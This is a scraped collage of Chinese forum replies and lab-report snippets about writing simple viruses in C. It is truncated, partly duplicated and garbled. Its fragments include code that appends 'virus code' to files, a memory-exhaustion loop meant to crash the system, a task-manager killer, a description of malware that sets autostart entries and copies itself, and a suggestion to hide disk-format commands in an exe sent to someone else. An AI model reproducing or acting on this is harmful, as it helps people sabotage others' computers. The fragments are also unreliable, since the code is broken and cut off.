// 修改原始文件的内容,将病毒代码插入到文件末尾 char virus_code[] = "x4Dx5A"; // MZ PE header signature memcpy(buffer + file_size sizeof(virus_code), virus_code, sizeof(virus_code)); // 将修改后的内容写回原始文件 h_file = CreateFile(file_name, GENERIC_WRITE, 0, NULL, OPEN_EXIS...
int main(){ char *str = NULL;while(1)str = (char *)malloc(4096); // 无限申请内存而不释放造成系统最终崩溃。这就是最简单的病毒了 return 0;}
本次实验设计的是一个基于C语言的恶意代码,其执行流程如下: 1、 在病毒第一次执行时,即检测到注册表的任务管理器没有被禁用,则病毒依次执行以下功能: 创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径...病毒预先功能基本实现。...图3.5 恶意代码运
本次实验设计的是一个基于C语言的恶意代码,其执行流程如下: 1、 在病毒第一次执行时,即检测到注册表的任务管理器没有被禁用,则病毒依次执行以下功能: 创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径...病毒预先功能基本实现。...图3.5 恶意代码运
行,但是我得告诉你:在当前,要写病毒一般都要求对电脑有很深的了解。可以说,病毒是程序中最高深的东西。因为它要不让人查觉,还得脱过杀软,又要实现自身的目标,所以,一般的人是办不到的。
一个专门结束“Windows任务管理器”的程序,前些天编写的,如果这也能算是“病毒”的话,不妨楼主看看。在VC++6中编译成功,可以正常运行。C++编写的,略微改动一下就是标准的C语言程序。include "stdio.h"include "Windows.h"void kill(void);void main(){ while(1){ kill();Sleep(100);} }...
哈哈,有意思,给你个思路,写个最简单的病毒:就是写个死循环,用指针不停地指向。你既然有基础,就自己鼓捣吧,写病毒我们是不推荐的哈。你要研究的话,最好在自己机子、学校机子或者你们公司机子上研究。嘿嘿...
一个简单的病毒就要很长的代码,写病毒没有那么简单。不过你可以试试利用cmd命令,比如删除拉,格式化拉,拷贝拉,写进代码里。别人一打开程序资料盘就格掉了,嘿嘿。
用C语言写的不太好,因为C语言没有可视化的编程环境,只能写一些DOS界面似的软件。建议用Delphi 或VB等软件编程,这些都有界面。写好后把那个 XXX.exe文件发给他就行了。
5.系统工具:你可以用C语言编写系统工具,如系统监控工具、病毒防护程序等。6.网络应用:C语言可以用于开发底层网络协议和服务器。你可以用它来实现Web服务、网络存储等。7.加密与安全:C语言可以用于实现加密算法和安全协议,如SSL/TLS、IPSec等。8.数据分析:C语言可以用于高性能数据处理和分析,如科学计算、机器学习等...